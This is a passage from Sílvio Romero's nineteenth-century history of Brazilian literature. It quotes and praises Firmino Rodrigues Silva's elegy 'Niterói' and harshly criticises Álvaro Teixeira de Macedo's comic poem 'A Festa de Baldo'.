Silvio Romero – História da Literatura Brasileira (ebook por capítulos)
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TRANSIÇÃO
POETAS DE TRANSIÇÃO ENTRE CLÁSSICOS E ROMÂNTICOS (continuação)
Firmino Rodrigues Silva (1816-1879). — A literatura do Brasil é em grande parte, na máxima parte, uma colaboração de vadios, ou de infecundos.
Nas páginas de sua história há de figurar sempre e sempre um grande número de sujeitos que deixaram três ou quatro poesias, três ou quatro artigos de prosa, e nada mais.
Entre nós há tal poeta, cujo título de benemerência é uma só poesia. Odorico Mendes é o poeta do Hino à Tarde; Rodrigues Silva é o poeta da nênia Niterói. Como riscar este homem de nossa história literária, se sua produção maitresse é um dos mais saborosos frutos da poesia nacional?
Firmino Rodrigues Silva era fluminense, nasceu no ano de 1816. Estudou Direito em São Paulo, formando-se em 1837. Atirou-se à política, foi jornalista de algum mérito, ainda que inferior a Justiniano da Rocha. Era conservador e acabou senador do Império.
Não dispunha do talento oratório e talvez por isso deixou de representar saliente papel na alta política. Quando estudante em São Paulo escreveu muitas poesias, que foram parar em mãos de estranhos e perderam-se.
Resta a celebrada nênia ao falecimento de Bernardino Ribeiro. Traz a data de São Paulo em 15 de setembro de 1837.
Ei-la aqui:
"Niterói, Niterói, que é do sorriso
Donoso da ventura, que teus lábios
Outrora enfeitiçava? Cor de jambo,
Pelo sol destes céus enrubescido,
Já não são tuas faces, nem teus olhos
Lampejam de alegria. Que é da c’roa
De Madressilva, de cecéns e rosas,
Que a fronte engrinaldava? Ei-la de rojo
Trespassada de pranto, e as flores murchas
Mirradas pelo sopro do infortúnio.
Uns ais tão doloridos, tão magoados,
Quais só podem gemer dores maternas,
Desumanas pungindo os seios d’alma,
Franzem-te os lábios co sorrir d’angústias.
De teus formosos olhos se desatam
Dois arroios de lágrimas; tu choras,
Desventurada mãe, a perda infausta
Do filho teu amado, e que outro filho
Mais sincero chorar há merecido?
Da noite o furacão prostrou tremendo
Audaz jequitibá, que inda na infância
Coa cima excelsa devassava as nuvens!
Eu o vi pelos raios matutinos
Do sol apenas nado auritingido,
Inda sepulta em trevas a floresta!
Eu o vi, e asilou-me a sua sombra…
Honra do vale, inveja das montanhas,
Para que no Éden fosses transplantado
Cobiçosos os anjos te roubaram;
Que no vale das lágrimas não vinga
Planta que é do céu. Foi em teu seio
Que também, Niterói, meus olhos viram
Pela primeira vez a cor dos bosques,
E o azul dos céus e o verde-mar das águas;
Também sou filho teu, ó minha pátria,
E o melhor dos amigos hei perdido,
Da minha guarda o anjo… eia, deixemos
Amargurado pranto deslizar-se
Por faces onde o riso só folgara.
Que ele mitigue dor que não- tem’ cura!
Eu disse; e majestosa e bela ergueu-se
A princesa do vale… ei-la que os olhos
Crava nos céus e aos céus as mãos levanta;
De tanta desventura enternecida
A viração da tarde parecia
Com ela suspirar, gemer-lhe em torno,.
As luzidias tranças espargindo-lhe
Pelo moreno colo tão formoso;
O sol já descambava pra o ocidente,
E em cima das montanhas semelhando
Um círio aceso pela mão dos séculos
A fronte iluminava-lhe: diríeis
Que da maternidade o gênio augusto,
Ante do Eterno as aras majestosas,
Que a natureza por si mesma erguera,
Sobrepondo a montanhas altos serros,
Lenitivo a seus males implorava.
-— Oh! que mais lhe restava no infortúnio,
Senão volver pra o céu olhos maternos,
Para o céu, derradeiro, único abrigo
Onde a esp’rança de vê-lo se acoitava!
Mais infeliz que Agar pelo deserto,
Nem ao menos podia consolá-la
Um mágico lampejo de esperança,
Nem ao menos dizer entre suspiros,
Lágrimas: Não verei morrer meu filho…
Ralado o peito de amarguras cento,
Ouvia que ela dizia:
— Ó meu filho,
Entre milhares, filho mais prezado
, Ô meu anjo, por que me abandonaste?
Ainda ontem pendente de meu seio
Com sorrisos aos beijos respondias
Que amor de mãe nos lábios te arroiava
. De mil aromas perfumada a brisa
Embalava teu berço na palmeira,
E as rosas das campinas desfolhavam-se,
Porque teu vímeo leito amaciassem;
ó de meus filhos, filho mais prezado,
ó meu anjo, por que me abandonaste?
Ao donoso raiar da juventude
Vi-o mais belo do que o sol de julho,
Que, desfeita a neblina, alto resplende!
De loiro mel os lábios borrifou-lhe
Mimosa jataí; branca açucena
Mais cândida não era que seu peito,
Puro como os desejos da inocência!
Ingênua simpatia lhe esparzira
Um não-sei-quê de amável no semblante,
Que vê-lo era prezá-lo; a fronte augusta
Traía o gênio que alma lhe incendia…
Ó de meus filhos ufania e glória,
Ó meu anjo, por que me abandonaste?
Nunca mais o verei? meu Deus, a morte
Pode dos braços arrancar maternos
O filho amado?… nunca; mas que é dele,
Que é feito do condor que o vôo ardido
Arrojava por cima destes Andes?
Dos céus nas sendas transviou-se acaso?
……………… Ai! quão triste,
Quão sozinha deixou-me na floresta,
Gemendo de saudades!.. . Vem, meu filho,
Consolo de meus males, minha esp’rança;
Ó meu anjo, por que me abandonaste?
Tal como o rouco som das rotas vagas
Que contra as penedias bramam fúrias,
Confuso burburinho ao longe ecoa
De gente que aproxima: Ei-los meus filhos,
Seus semblantes são pálidos, o gênio
Lampeja nos seus olhos cintilantes.
— Marchai avante, prole de esperança,
À glória, à glória que o futuro é nosso. . .
Mas que é dele? não vai na vossa frente…
Oh! que é feito do rei da mocidade,
Tupá, Tupá, ó nume de meus pais?
Qual majestoso Chimborazo esbelto,
Alcantilado colo dentre os picos
Dos desvairados Andes, ó meu filho,
Em meio dessas turmas avultavas.
Inda altaneiro afronta o rei dos montes,
Da tempestade as fúrias que eu embalde
Por desumanos vales, bosques, grutas
Desp’rançada te busco, e só responde
Rouca voz do deserto aos meus clamores,
Que vai ecos no vale reboando…
ó sol brilhante, ó nume de meus pais,
ó Tupá, ó Tupá, que mal te hei feito?
Não guiarei a turma das donzelas,
Quando coréias rápidas tecendo,
Por princesa dos jogos me aclamarem.
— Minhas irmãs, eu lhes direi, deixai-me
Na solidão lamentar minhas desgraças
Sem dó, nem compaixão, roubou-me a morte
Do meu cocar a pena, mais mimosa,
A jóia peregrina de meu cinto,
O lírio mais formoso das campinas,
O lume de meus olhos! ó meu filho,
Inda canta a araponga, e o rio volve
Na ruiva areia a labrega corrente;
Inda retouca a laranjeira a coma
Verde-negra de flores alvejantes,
E tu já não existes! — Sol brilhante,
Nume de meus pais, que é do meu filho?
ó Tupá, ó Tupá, que mal te hei feito?
Primeiro volverão séc’los e séculos
Que outra palmeira tão gentil se ostente
Nestas florestas altas, gigantescas!
A tempestade se erguerá bramindo
Nessa dos Órgãos serrania imensa,
E, ai de mim! não terei onde asilar-me!
Nas brenhas silvarão mosqueadas serpes,
E, ai de mim! não terei quem me defenda!…
… Como estalaram tantas esperanças
Em um momento de dor? — Eia, dizei-mo,
Erguidas serras, broncas penedias…
Ó nume de meus pais, ó sol brilhante,
Ó Tupá, ó Tupá, que mal te hei feito?
Não pôde mais dizer… por dentre as matas
Como um sonho, ligeira a vi sumir-se.
E o oco som das vagas nos cachopos,
E o sibilo dos ventos nas florestas,
E o eco destes vales, das montanhas,
A modo qu’em um coro majestoso
Inda as últimas queixas repetiam:
Ó nume de meus pais, ó sol brilhante,
ó Tupá, ó Tupá, que mal te hei feito?™
Esta poesia é uma das mais autênticas manifestações do gênio brasileiro. Há aí uma tão profunda aliança entre as crenças cristãs e as tradições indígenas, e essa aliança se traduz tão espontaneamente diante da natureza americana, que aí influi também como atora, que é impossível desconhecer que se está diante de um produto sui-generis, que a musa européia seria incapaz de produzir.
Aquela personalização da natureza tropical sob as formas de uma selvagem que chora um filho civilizado; aquele prantear fetichista por um cristão; aqueles apelos a Deus e aquelas súplicas a Tupá, tão naturais, tão intimamente ligadas, mostram bem nitidamente que no espírito de Rodrigues Silva tinham-se fundido as duas almas de que em grande parte descendem os brasileiros.
18, Minerva Brasiliense.
O poeta era um desses mestiços morais de que falei a propósito de Gregório de Matos. O nosso romantismo nacionalista foi estimulado, entre outras causas, por esses majestosos versos.
Gonçalves Dias já encontrou mesmo em seu tempo o caminho aberto. Como força diferenciadora em nossa evolução literária Firmino Silva pesa mais com aqueles poucos versos, do que algumas dúzias de certos paspalhões com seus indigestos cartapacios.
É certamente desta última classe a Festa de Baldo de Álvaro Teixeira de Macedo (1807-1849).
A vida deste poeta e diplomata corre por aí bem contada.14 A Festa de Baldo mereceu grandes elogios de Varnhagen, Wolf, Antônio Joaquim de Melo, Pereira da Costa e muitos outros. Creio não haver motivo para tamanho entusiasmo.
Como espelho de um espírito e como retrato de uma época, o livro é de uma mediocridade pavorosa. Como documento psicológico e como documento social, os dous maiores critérios da história literária, o poema é sem préstimo. O autor se revela um espírito de pouca imaginação, sem recursos de forma, sem espírito atilado de análise, sem a força humorística e satírica dos bons poetas do género cômico.
O enredo do poema é desengonçado, cheio de enormes falas dos personagens, quase tudo de uma futilidade pasmosa.
As situações são falsíssimas. Trata-se de uma mulher, apresentada como séria, que briga com o marido, e foge de casa, por lhe não querer este consentir num banquete que ela desejava dar aos amigos no dia aniversário do casamento de ambos. Sem esforço o pai da heroína arranca o consentimento do birrento marido, e, tal é a alegria do desfrutável casal, que, ao apresentar-se-lhes no dia da festa um grupo de amigos para os saudar, o homem fica em tal alvoroço, que em vez do boné, ou barrete, ou gorro, põe na cabeça uma cesta de costuras, e a mulher em vez de tomar um vestido aparece metida no chambre do pas-palhão do consorte!
14. Dicionário Biográfico de Pernambucanos Célebres, por F. A. Pereira da Costa, Recife, 1882.
Simplesmente sensaborão é isto:
""
"E vassim dizendo Cleto, pressuroso,
Confuso, cheio de transporte, tira
Do leito uma coberta em que se envolve,
E de cima da mesa, por engano,
Em lugar do casquete que procura,
Apalpa da consorte uma cestinha,
Contendo alguns novelos e cadarços,
Vários trapos, aparas de costura,
Pondo tudot sem ver, sobre a cabeça.
Dona Clara, também nestes enganos
Caindo, pelo enlevo de sua alma,
Os ombros vai cobrir co largo chambre
Do agitado escrivão que o não achara.
Ambos, assim, compostos, se apresentam
À janela do quarto, sobranceiros
Ao grupo musical que os esperava."
Isto é o velho gênero ennuyeux, é a poesia prosaica.
Numa literatura mais rica, nem se faria menção de produto tão negativo como a Festa de Baldo.
As cenas, costumes e tipos populares são falsos e friamente pintados. Nenhuma figura tem relevo; nem o vigário, nem o mascate, nem o escrivão, nem o mestre-escola.
As censuras políticas profusamente espalhadas em todo o poema têm o ar de uma impertinência burguesa, superficial e monótona.
Ex.:
"Em pequenas distâncias, a pé firme,
Vários grupos ficaram reunidos,
Conversando entre si devidamente
Se o tema contemplado era ciência,
Ou arte razoável, definida,
Aqueles que falavam pareciam
Circunspectos, civis, e comedidos,
Ouvindo com atenção, e cortesia,
Cedendo, quando a força do argumento
Continha convicções bem ponderadas.
Se o assunto, porém, era política,
Vaidosa profissão de certa gente,
Que se ocupa do Estado, e do Governo,
Não sei que geringonça de mau toque
Se ouvia proferir de muitos lábios,
E não sei duvidoso como pinte
O complexo de frases e sentenças,
Dos grandes palavrões, da muita audácia,
Dos ares, e donaires de tal gente.
Gente, que tanto fala, e pouco escuta, dente, que escuta mais do que devera,
Gente, que mais esquece, do que lembra,
Gente inconstante e má que aos povos hoje,
Umas vezes dá c’roa soberana,
E mil outras condena a vil desprezo;
Gente, que até dos tronos vai fazendo
Naus de viagem, das rainhas fusos,
E dos reis seus discíp’los de oratória!
Gente, enfim, que pra tudo é convidada,
E que Baldo pediu fosse ao festejo."
De todo o poema é este arrazoado plebeu contra a política o fragmento mais digno de ser citado. Decididamente havemos sido infelizes no gênero humorístico e satírico.
A sociedade e a raça fornecem a explicação. Quanto à última, apesar de Almeida Garrett haver ingenuamente dito ser o povo português o mais espirituoso da Europa, não passa isto, creio eu, de uma pretensão. O fato verídico é que Portugal nunca possuiu um grande poeta satírico, um grande poeta cômico, um grande poeta humorista.
Quanto à sociedade, não tem ela ainda aquela complicação, aquela trama enrediça de interesses que hajam inspirado as grandes tensões do espírito, os dissabores públicos, as lutas pungentes e também o riso reflexo e o escárnio como produto espontâneo do meio moral.
Álvaro de Macedo perdeu o tempo; seu livro tem vício de origem; é de um raquitismo inviável.
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